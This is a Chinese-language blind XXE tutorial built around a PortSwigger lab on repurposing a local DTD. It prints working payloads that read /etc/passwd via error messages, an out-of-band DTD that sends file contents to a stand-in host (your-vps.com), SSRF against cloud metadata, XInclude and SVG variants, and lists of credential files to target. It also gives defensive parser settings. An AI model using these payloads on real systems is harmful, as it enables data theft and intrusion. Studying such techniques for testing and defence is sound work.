1. 项目概述:盲打XXE与本地DTD的巧妙利用
最近在复现Burp Suite官方靶场里的一个XXE漏洞实验,题目叫“利用盲XXE通过恶意外部DTD窃取数据”。这个实验的难点在于,它是一个“盲”的XXE场景,也就是说,服务器虽然会解析我们提交的XML,但并不会在响应中直接回显解析结果。我们无法像传统XXE那样,通过一个实体引用直接把/etc/passwd文件的内容读出来并显示在页面上。这就像你对着一个黑盒子说话,你知道它在处理你的输入,但你看不到它的输出。靶场的目标是让我们通过触发一个错误信息,来间接地“看到”文件内容。这听起来有点绕,但其中利用“本地DTD重定义”的技巧非常精妙,是深入理解XXE攻击链和XML解析器行为的绝佳案例。
XXE(XML External Entity Injection)漏洞的核心在于,当应用程序解析用户可控的XML输入时,如果配置不当,允许加载外部实体,攻击者就能构造特殊的XML,读取服务器上的任意文件、发起内部网络请求,甚至在某些情况下导致拒绝服务。而“盲”XXE则是这种漏洞的一种更隐蔽的形态。在这个靶场中,我们面对的就是一个典型的盲XXE场景:一个商品库存检查功能,后端接收XML格式的库存查询请求,进行处理,但返回的响应里只包含“有货”或“无货”这样的状态,并不包含我们注入的实体所引用的内容。我们的任务,就是在这个“有去无回”的通信中,找到一条迂回路径,把/etc/passwd文件的内容给带出来。
2. 核心原理:从外部DTD到内部实体重定义
要理解这个攻击,得先拆解几个关键概念。首先是DTD(Document Type Definition,文档类型定义)。你可以把它理解为XML文档的“语法说明书”或“模板”,它定义了XML文档中允许出现的元素、属性以及实体。实体是XML中定义可复用数据片段的机制,比如在DTD中定义<!ENTITY author “PortSwigger”>,之后在XML文档里就可以用&author;来引用这个值。
XXE攻击常常利用SYSTEM关键字来定义外部实体,例如<!ENTITY xxe SYSTEM “file:///etc/passwd”>。如果解析器允许外部实体扩展,那么引用&xxe;的地方就会被文件内容替换。但在盲XXE中,这个替换结果我们看不到。
这时就需要“带外”(Out-of-Band, OOB)技术。基本思路是,我们让服务器去加载一个存放在我们可控服务器(如Burp Collaborator)上的外部DTD文件。这个恶意的DTD文件中定义了实体,该实体的值会尝试读取目标文件(如/etc/passwd),并将内容作为参数,向我们的服务器发起一个HTTP或DNS请求。通过检查我们服务器收到的请求,就能间接获取文件内容。这是一种非常有效的方法。
然而,这个靶场采用的是一种更进阶、更优雅的技术:利用服务器上已存在的本地DTD文件。为什么这么做?因为在某些严格的网络环境或配置下,服务器端的XML解析器可能被设置为禁止加载任何外部的DTD(即externalSubset被禁用)。这会直接封死传统的OOB攻击路径。但是,XML规范允许在内部子集(即XML文档内部定义的DTD部分)中“重写”或“重定义”在外部或本地DTD中已声明的参数实体。这就给我们留下了操作空间。
攻击链条是这样的:
- 定位一个已知的本地DTD文件:我们需要知道目标服务器文件系统上一个确切的DTD文件路径。这个文件是系统自带的,比如Linux GNOME桌面环境下常见的
/usr/share/yelp/dtd/docbookx.dtd。 - 导入这个本地DTD:在我们的恶意XML中,通过参数实体引入这个本地DTD文件。
- 重定义其中的一个参数实体:在导入之后、引用之前,我们立即在内部子集中重新定义该DTD文件中的某个参数实体。我们在这个重定义中,嵌入我们想要执行的恶意操作链。
- 触发错误信息泄露:我们设计的恶意操作链,其最终目的是触发一个XML解析错误,并且让这个错误信息中包含目标文件(
/etc/passwd)的内容。
这种方法的巧妙之处在于,它完全在XML解析的内部流程中完成,没有向外部网络发起任何请求,从而绕过了对外部DTD加载的限制。它利用的是服务器自身的、合法的资源(本地DTD)作为攻击跳板。
2.1 关键组件解析:参数实体与错误处理
这里涉及两个关键点:参数实体(Parameter Entity)和错误处理。
参数实体是专门用在DTD中的实体,以百分号%定义和引用。它们通常用于在DTD内部模块化地声明元素或属性列表。在我们的攻击载荷中,会大量使用参数实体来构建多级引用和嵌套。
错误处理则是我们获取数据的出口。XML解析器在处理实体时,如果遇到问题(比如尝试用一个不存在的文件路径来定义实体),会生成错误。我们的攻击载荷就是精心构造一个场景:让解析器在尝试定义或扩展某个实体时,必须先去读取/etc/passwd文件,并将文件内容作为实体值的一部分,然后这个包含文件内容的实体值又会导致另一个解析错误(例如,尝试访问一个以文件内容命名的、不存在的路径)。最终,这个嵌套了文件内容的错误信息会被服务器返回给我们。
注意:这种通过错误信息回显数据的方式,要求服务器配置为将内部错误详情(如Java的堆栈跟踪、libxml的详细错误)返回给客户端。在生产环境中,这通常是不安全的配置,但在CTF靶场和某些测试场景中很常见。
3. 靶场实战:一步步拆解攻击载荷
让我们回到Burp Suite的靶场。场景是一个电商网站,商品详情页有个“Check stock”功能。用Burp Suite拦截这个POST请求,发现它发送的是XML格式的数据,类似下面这样:
<?xml version="1.0" encoding="UTF-8"?> <stockCheck> <productId>1</productId> <storeId>1</storeId> </stockCheck>我们的目标是在这个请求中注入恶意XML,触发错误并泄露/etc/passwd。
官方提供的解决方案载荷非常经典,我们逐层拆解:
<!DOCTYPE message [ <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd"> <!ENTITY % ISOamso ' <!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>"> %eval; %error; '> %local_dtd; ]>第一层:建立攻击基础<!ENTITY % local_dtd SYSTEM “file:///usr/share/yelp/dtd/docbookx.dtd”>:这行定义了一个参数实体%local_dtd;,它的值是服务器本地DTD文件的路径。SYSTEM “file:///…”指示解析器去加载这个文件。这是我们的攻击跳板。
第二层:重定义目标实体<!ENTITY % ISOamso ‘ … ‘>:这行是关键。它重新定义了名为ISOamso的参数实体。注意,ISOamso是目标本地DTD文件docbookx.dtd中已经存在的一个实体。我们通过内部子集覆盖了它的定义。新的定义是一个很长的字符串(用单引号包裹)。
第三层:嵌套的恶意逻辑(字符串内的实体定义)在新的%ISOamso;定义字符串内部,我们嵌入了更多的XML实体声明。注意,为了在字符串内正确表示百分号%和&等特殊字符,我们使用了HTML实体编码(%代表%,&代表&,'代表’)。当外层定义被解析时,这些编码会被解码。
<!ENTITY % file SYSTEM “file:///etc/passwd”>:解码后是<!ENTITY % file SYSTEM “file:///etc/passwd”>。这定义了一个参数实体%file;,其值将是/etc/passwd文件的内容。<!ENTITY % eval “<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>”>:解码后是<!ENTITY % eval “<!ENTITY % error SYSTEM ‘file:///nonexistent/%file;’>”>。这定义了一个参数实体%eval;,它的值是一段字符串,这段字符串本身又是一个实体声明:声明了一个名为%error;的参数实体,其SYSTEM标识符是file:///nonexistent/%file;。注意,这里嵌套引用了%file;。
第四层:执行链%eval;和%error;:解码后是%eval;和%error;。这是触发攻击的执行步骤。
%eval;:当解析器遇到这个引用时,会去扩展%eval;实体。扩展的结果就是执行其值中的声明,即定义%error;实体。此时,%error;的定义变成了SYSTEM ‘file:///nonexistent/【/etc/passwd文件的实际内容】’。%error;:紧接着,解析器遇到%error;引用,于是尝试扩展它。扩展%error;意味着解析器需要去加载SYSTEM标识符指定的“文件”。这个“文件”的路径是file:///nonexistent/后面拼接上/etc/passwd的全部内容。这显然是一个不可能存在的、畸形的路径。
最终触发错误当XML解析器尝试访问这个畸形的、包含文件内容的URI时,必然失败,并抛出一个错误。关键在于,这个错误信息中通常会包含它尝试访问的URI,也就是file:///nonexistent/root:x:0:0:root:/root:/bin/bash…。这样,/etc/passwd文件的内容就随着错误信息被返回到了HTTP响应中。
最后一步:完成导入%local_dtd;:这个引用放在最后。它会触发解析器去加载我们最初指定的本地DTD文件/usr/share/yelp/dtd/docbookx.dtd。在加载和解析这个外部DTD的过程中,解析器会遇到其中对%ISOamso;实体的引用。由于我们在内部子集中已经重定义了%ISOamso;,解析器将使用我们提供的、包含恶意代码的定义,从而启动上述的攻击链。
实操心得:这个载荷的顺序很重要。必须先定义
%local_dtd;和重定义%ISOamso;,最后再引用%local_dtd;来触发。如果顺序错了,解析流程会不同,攻击可能失败。在Burp Repeater中测试时,务必确保整个<!DOCTYPE … ]>块被完整地放在XML声明<?xml …?>之后,原XML根元素(如<stockCheck>)之前。
4. 工具与环境准备:Burp Suite实战配置
要进行这个实验,你需要准备好环境。核心工具当然是Burp Suite,社区版就足够。我建议使用Burp Suite内置的浏览器,可以避免很多代理配置的麻烦。
- 启动Burp Suite与浏览器:打开Burp,在
Proxy->Intercept标签页,确保拦截是关闭的(Intercept is off)。然后进入Dashboard,点击Launch Burp’s browser。这会打开一个内置的Chromium浏览器,其流量默认已通过Burp代理。 - 访问靶场:在Burp浏览器中,访问PortSwigger的Web Security Academy,登录你的账户,找到“XXE injection”主题下的“Lab: Exploiting XXE to retrieve data by repurposing a local DTD”这个实验,点击
Access the lab。 - 配置代理与SSL证书(可选):如果你使用自己的外部浏览器(如Chrome、Firefox),需要将其代理设置为
127.0.0.1:8080(Burp默认监听端口),并在浏览器中访问http://burpsuite,下载安装Burp的CA证书,以解密HTTPS流量。对于初学者,强烈建议直接使用Burp内置浏览器,省去这些步骤。 - 开始测试:在实验页面,随意点击一个商品(如“Home”),进入商品详情页。你会看到一个
Check stock按钮。此时,打开Burp的Proxy->Intercept,点击Intercept is on开启拦截。
4.1 Burp Repeater:我们的主战场
在实际操作中,Repeater模块比一直开着拦截更方便。你可以先拦截到一次Check stock的请求,然后右键点击请求报文,选择Send to Repeater。这样你就能在Repeater标签页里反复修改和发送这个请求,观察响应,而不用每次都去点网页按钮。
在Repeater中,你会看到原始的POST请求,其Content-Type是application/xml,主体就是之前提到的简单XML。我们的任务就是在这个请求体里动手术。
修改请求的注意事项:
- 保持请求头:
Content-Type: application/xml和Content-Length必须正确。当你修改了请求体后,Burp通常会帮你自动更新Content-Length,但最好确认一下。如果长度不对,服务器可能直接拒绝解析。 - XML声明:保留原始的
<?xml version=”1.0″ encoding=”UTF-8″?>。 - 注入位置:将完整的恶意
<!DOCTYPE … ]>块,粘贴在XML声明之后,在原始的<stockCheck>开始标签之前。确保格式良好,没有多余的换行或空格破坏XML结构(尽管XML通常对空白不敏感,但保持整洁是好习惯)。
4.2 攻击载荷的变通与调试
官方给出的载荷是针对特定DTD路径(/usr/share/yelp/dtd/docbookx.dtd)和特定实体(ISOamso)的。这是靶场预设的环境。在真实测试中,你需要去发现或猜测目标服务器上存在的DTD文件。
如何寻找可用的本地DTD?这需要一些经验和信息搜集:
- 操作系统与应用程序指纹识别:通过HTTP响应头、错误信息、默认页面等,判断服务器是Linux还是Windows,以及可能运行的Web框架、CMS(如WordPress, Drupal)或文档系统。不同的软件包会安装不同的DTD文件。
- 常见DTD路径清单:积累一个常见DTD路径的字典。例如:
- Linux (GNOME):
/usr/share/yelp/dtd/docbookx.dtd,/usr/share/xml/…下的各种DTD。 - Linux (一般):
/etc/xml/catalog,/usr/lib/xml/…。 - Windows: 相对较少,但一些安装的软件可能带来DTD。
- Java应用: 如果知道应用路径,可能包含
*.dtd文件。 - 第三方库: 如
log4j.dtd,struts-config*.dtd等。
- Linux (GNOME):
- 利用其他信息泄露:如果存在目录遍历、源码泄露等其他漏洞,可以先尝试读取可能的配置文件,从中发现DTD引用路径。
如果实体名不是ISOamso怎么办?本地DTD文件中可能包含多个参数实体。你需要知道实体名才能重定义。有几种方法:
- 直接读取DTD文件:如果你通过其他手段(比如一个简单的文件读取XXE)已经能读到这个DTD文件的内容,就可以查看里面定义了哪些参数实体。
- 盲猜与模糊测试:可以准备一个常见的参数实体名列表(如
ISOamso,ISOamsa,ISOamsb,ENTITY,NDATA等),进行批量测试。这需要自动化脚本配合。 - 错误信息推测:如果你重定义的实体名不存在,XML解析器可能会报错,例如“未声明的实体”。通过不同的错误信息,有时可以推断实体是否存在。但这在盲XXE中比较困难。
踩坑记录:在真实测试中,最大的挑战就是找不到合适的本地DTD或不知道实体名。我曾在一个测试中花了大量时间猜测路径,最后发现目标是一个Windows服务器,根本没有那些常见的Linux DTD路径。后来通过信息搜集发现它运行着一个老版本的文档管理系统,才找到了其自带的DTD文件。所以,信息搜集永远是第一步。
5. 漏洞挖掘与拓展:超越靶场的思考
这个靶场教给我们一种在严格环境下利用XXE的技巧。但在实际渗透测试或安全研究中,XXE的利用面要广得多。
1. 盲XXE的带外(OOB)数据外泄这是更通用的盲XXE利用方式。你需要一个受控的服务器来接收数据。
- 在VPS上放置一个恶意的DTD文件,例如
evil.dtd:<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://your-vps.com/?data=%file;'>"> %eval; %exfil; - 在目标请求中注入:
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://your-vps.com/evil.dtd"> %xxe;]>
当XML被解析时,会加载你的DTD,执行其中的实体定义,最终触发一个到http://your-vps.com/?data=...的HTTP GET请求,文件内容就在URL参数里。你可以通过VPS的Web日志查看。
2. 利用XXE进行SSRF(服务器端请求伪造)XXE不仅可以读文件,还能发起网络请求。通过定义实体为http://internal-service:port/,可以探测或攻击内网服务。
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]> <stockCheck>&xxe;</stockCheck>如果这个实体引用被回显,就能看到云服务器元数据。即使在盲场景,结合OOB技术,也能通过DNS或HTTP请求来判断内网端口或服务的存活情况。
3. 通过XInclude利用XXE有些应用接收用户输入后,会将其嵌入到服务器端的XML文档中再解析。如果用户输入不能被直接放在DOCTYPE中,可以尝试XInclude。
<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>这需要后端解析器支持XInclude,并且允许file://协议。
4. 利用文件上传功能如果应用允许上传XML文件(如SVG图片、Office文档),并在后端解析这些文件,就可能存在XXE。例如,一个恶意的SVG文件:
<?xml version="1.0" standalone="yes"?> <!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"> <text font-size="16" x="0" y="16">&xxe;</text> </svg>5.1 防御视角:如何避免XXE漏洞
理解了攻击,才能更好地防御。从开发和安全配置角度:
- 禁用外部实体和DTD:这是最根本、最有效的方法。在现代XML解析库中,通常有明确的设置选项。
- Java (DocumentBuilderFactory):
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 首选:完全禁用DTD dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); // 禁用外部通用实体 dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 禁用外部参数实体 - Python (lxml):
from lxml import etree parser = etree.XMLParser(resolve_entities=False, no_network=True) # 禁用实体解析和网络访问 - PHP (libxml):
libxml_disable_entity_loader(true);
- Java (DocumentBuilderFactory):
- 使用更安全的替代方案:如果应用只需要处理简单的数据交换,考虑使用JSON等更简单、默认不支持外部实体的格式。
- 输入过滤与白名单:对用户输入的XML进行严格的模式验证(XSD),过滤掉不必要的DOCTYPE声明。但这通常比较困难,且容易绕过。
- 输出编码:确保任何从XML解析器中提取的数据,在输出到前端时都经过正确的编码,防止可能的注入(虽然对XXE本身防御作用有限,但能防其他问题)。
- 定期依赖库升级:XML解析库本身也可能存在漏洞,保持库版本更新。
6. 常见问题与排查技巧实录
在实际操作这个靶场或类似XXE测试时,你可能会遇到一些问题。这里记录一些我踩过的坑和解决方法。
问题1:发送Payload后,返回的依然是正常的“有货/无货”响应,没有错误信息。
- 可能原因1:Payload格式或位置错误。检查
<!DOCTYPE … ]>是否完整地放在了XML声明之后、根元素之前。检查是否有拼写错误,特别是实体编码%等是否正确。确保整个XML结构仍然是良构的(Well-formed)。可以在Burp Repeater里先用一个简单的<!ENTITY xxe SYSTEM “file:///etc/passwd”>测试一下基础XXE是否被禁用,如果这个都不行,说明外部实体完全被禁,但本地DTD重定义可能还有戏。 - 可能原因2:本地DTD路径或实体名不对。靶场环境是固定的
/usr/share/yelp/dtd/docbookx.dtd和ISOamso。如果是在其他环境,需要更换。可以尝试一些其他常见路径,或者先尝试用简单文件读取确认路径是否存在。 - 可能原因3:服务器错误被全局处理,未返回给客户端。有些应用配置了全局异常处理器,将所有错误信息转换为统一的“500 Internal Server Error”页面,不泄露细节。这种情况下,这种基于错误回显的攻击方式就失效了,需要转向纯OOB外带数据的方式。
问题2:返回了错误信息,但里面没有/etc/passwd的内容,而是其他错误。
- 查看错误详情:仔细阅读错误信息。如果是“无法打开外部实体”、“不允许外部DTD”之类的,说明解析器配置严格,本地DTD文件都无法加载。如果是“实体未定义”之类的,可能是实体名
ISOamso不对。 - 尝试简化Payload:可以先尝试一个极简的测试,确认基础文件读取是否可行:
<!DOCTYPE test [ <!ENTITY xxe SYSTEM “file:///etc/hostname”> ]><stockCheck>&xxe;</stockCheck>。如果这个能成功在响应中看到主机名,说明是盲XXE但非严格过滤,我们的复杂Payload可能构造有误。如果这个失败,但返回的错误信息不同,可以对比分析。
问题3:在真实环境中测试,如何自动化探测XXE?手动测试效率低。可以结合Burp Suite的Intruder或Scanner模块。
- 使用Intruder进行模糊测试:将请求中可能的XML注入点(如productId的值)标记为Payload位置。准备两份Payload集:一份是各种XXE Payload(文件读取、OOB、本地DTD等),另一份是用于污染XML结构的特殊字符(如
<,>,&,’,”)。观察响应长度、状态码和内容的变化。响应变慢可能意味着发起了外部网络请求(SSRF),响应出现错误信息则是明显标志。 - 使用Burp Scanner(专业版功能):Burp的主动扫描器内置了XXE检测规则,能够自动识别潜在的注入点并尝试多种Payload,包括盲XXE的OOB检测(利用Burp Collaborator)。这是最省力的方法。
- 自定义Collaborator Payload:对于盲XXE,最可靠的检测方式是使用OOB。你可以手动在Payload中使用Burp Collaborator域名(在Burp中点击
Burp->Collaborator client->Copy to clipboard获取一个临时域名)。例如:<!DOCTYPE test [ <!ENTITY xxe SYSTEM “http://YOUR_SUBDOMAIN.burpcollaborator.net”> ]>。然后发送请求,稍后在Collaborator客户端点击Poll now,查看是否有HTTP或DNS交互记录。有任何记录都强烈表明存在XXE漏洞。
问题4:除了/etc/passwd,还能读什么?
- 敏感配置文件:
/etc/shadow(需要root)、~/.ssh/id_rsa(用户私钥)、/etc/apache2/.htpasswd、Web应用的配置文件(如config.php,web.config,application.properties)。 - 源码:通过
file://协议读取Web应用的源代码,有助于进一步审计。 - Windows系统:路径格式为
file:///C:/windows/system32/drivers/etc/hosts。可以尝试读取C:\boot.ini(旧系统)、C:\Windows\System32\config\SAM(通常被锁)、用户目录下的文件等。 - 注意编码问题:读取包含特殊字符(如
<,&,”)的文件时,这些字符可能会破坏XML结构,导致解析错误,数据提取不完整。在OOB利用中,可以考虑使用FTP协议或Base64编码(如果PHP环境支持php://filter/convert.base64-encode/resource=这类包装器)来获取完整数据。
这个靶场虽然只是一个具体的实验,但它揭示的原理和技巧是通用的。从简单的文件读取,到盲XXE的OOB外带,再到利用本地DTD这种高级技巧,XXE的利用深度远超很多人的想象。防守方必须从根本上禁用不必要的XML功能,而攻击方则需要不断积累Payload、熟悉各种解析器的特性和常见的系统文件路径。每一次测试,都是一次对目标系统配置和开发者安全意识深度的探针。